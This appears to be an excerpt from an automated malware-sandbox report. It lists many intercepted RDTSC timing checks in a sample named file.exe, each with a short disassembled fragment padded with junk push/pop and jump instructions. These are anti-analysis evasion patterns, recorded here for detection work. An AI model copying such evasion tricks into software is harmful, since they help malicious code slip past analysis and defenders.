Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114DE2 second address: 1114DE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114DE8 second address: 1114DF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F863914EA2Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114DF7 second address: 1114E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F86385196D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1115082 second address: 1115086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1115086 second address: 111508A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111508A second address: 1115090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1118632 second address: 1118636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1118636 second address: 111863E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111863E second address: 111865C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F86385196E9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11187D8 second address: 11187F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA2Fh 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111910F second address: 1119119 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F86385196DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A957 second address: 111A95B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A95B second address: 111A95F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A95F second address: 111A96B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A96B second address: 111A971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A971 second address: 111A976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A976 second address: 111A97C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A97C second address: 111A982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A982 second address: 111A986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120EDC second address: 1120EE2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120EE2 second address: 1120F2A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F86385196D8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F86385196E0h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push ecx 0x00000013 jmp 00007F86385196E2h 0x00000018 pop ecx 0x00000019 pushad 0x0000001a jmp 00007F86385196DCh 0x0000001f je 00007F86385196D6h 0x00000025 push edi 0x00000026 pop edi 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112A915 second address: 112A938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F863914EA38h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128AF9 second address: 1128B0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F86385196DBh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128B0B second address: 1128B4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA38h 0x00000007 jc 00007F863914EA26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F863914EA2Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F863914EA33h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128B4E second address: 1128B5E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F86385196D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128B5E second address: 1128B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128B64 second address: 1128B68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128B68 second address: 1128B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128CA6 second address: 1128CB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jl 00007F86385196D6h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128CB4 second address: 1128CBE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F863914EA26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128F96 second address: 1128F9B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128F9B second address: 1128FA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128FA4 second address: 1128FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11297FA second address: 11297FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1129977 second address: 112997C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112997C second address: 1129982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1129982 second address: 112998C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112998C second address: 11299B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F863914EA26h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007F863914EA34h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 js 00007F863914EA63h 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11299B8 second address: 11299C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11299C7 second address: 11299DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F863914EA32h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128689 second address: 112868D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112868D second address: 11286BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA36h 0x00000007 jmp 00007F863914EA31h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130174 second address: 113017A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113C08C second address: 113C0A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F863914EA35h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113EE58 second address: 113EE6B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jnl 00007F86385196D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113EE6B second address: 113EE71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113EE71 second address: 113EE82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F86385196DBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113EA57 second address: 113EA5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11442E2 second address: 11442F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F86385196DEh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11442F5 second address: 11442FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11442FA second address: 1144306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F86385196D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144306 second address: 114430C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114430C second address: 114432F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F86385196E2h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push esi 0x0000000f jne 00007F86385196D6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114432F second address: 1144351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007F863914EA38h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144351 second address: 1144359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1143FC5 second address: 1143FD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F863914EA30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1143FD9 second address: 1143FDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1143FDD second address: 1144003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F863914EA26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007F863914EA38h 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1149C0C second address: 1149C28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F86385196E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E442 second address: 114E456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F863914EA30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E456 second address: 114E46C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F86385196D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 jno 00007F86385196D6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E46C second address: 114E483 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F863914EA2Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B369 second address: 115B36F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B504 second address: 115B51D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F863914EA32h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B832 second address: 115B843 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F86385196D6h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B843 second address: 115B878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F863914EA37h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007F863914EA2Dh 0x00000012 push edi 0x00000013 pop edi 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B878 second address: 115B87C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B9A3 second address: 115B9A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B9A7 second address: 115B9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F86385196D6h 0x0000000d jnl 00007F86385196D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B9BC second address: 115B9C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B9C2 second address: 115B9CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B9CD second address: 115B9D3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C79C second address: 115C7B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F86385196E6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160D93 second address: 1160D99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160D99 second address: 1160D9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160D9F second address: 1160DC7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop esi 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F863914EA2Fh 0x00000010 pop edx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jng 00007F863914EA26h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160DC7 second address: 1160DD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160DD0 second address: 1160DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 pop eax 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116D9F9 second address: 116DA05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F86385196D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116DA05 second address: 116DA0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116DA0F second address: 116DA27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F86385196DDh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116DA27 second address: 116DA2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1168829 second address: 1168833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117A659 second address: 117A674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F863914EA36h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117A513 second address: 117A51F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117A51F second address: 117A523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117A523 second address: 117A532 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117A532 second address: 117A539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D5BF second address: 117D5C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C10A second address: 118C11E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F863914EA26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F863914EA28h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C274 second address: 118C28E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 jmp 00007F86385196E2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C3D6 second address: 118C403 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F863914EA26h 0x00000008 jp 00007F863914EA26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jmp 00007F863914EA37h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C403 second address: 118C41C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F86385196E4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C9F1 second address: 118C9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F863914EA26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C9FB second address: 118CA12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F86385196E3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119151C second address: 119152E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119152E second address: 1191538 instructions: 0x00000000 rdtsc 0x00000002 js 00007F86385196DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191790 second address: 11917A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F863914EA26h 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F863914EA26h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11917A7 second address: 11917AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11918D5 second address: 11918DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
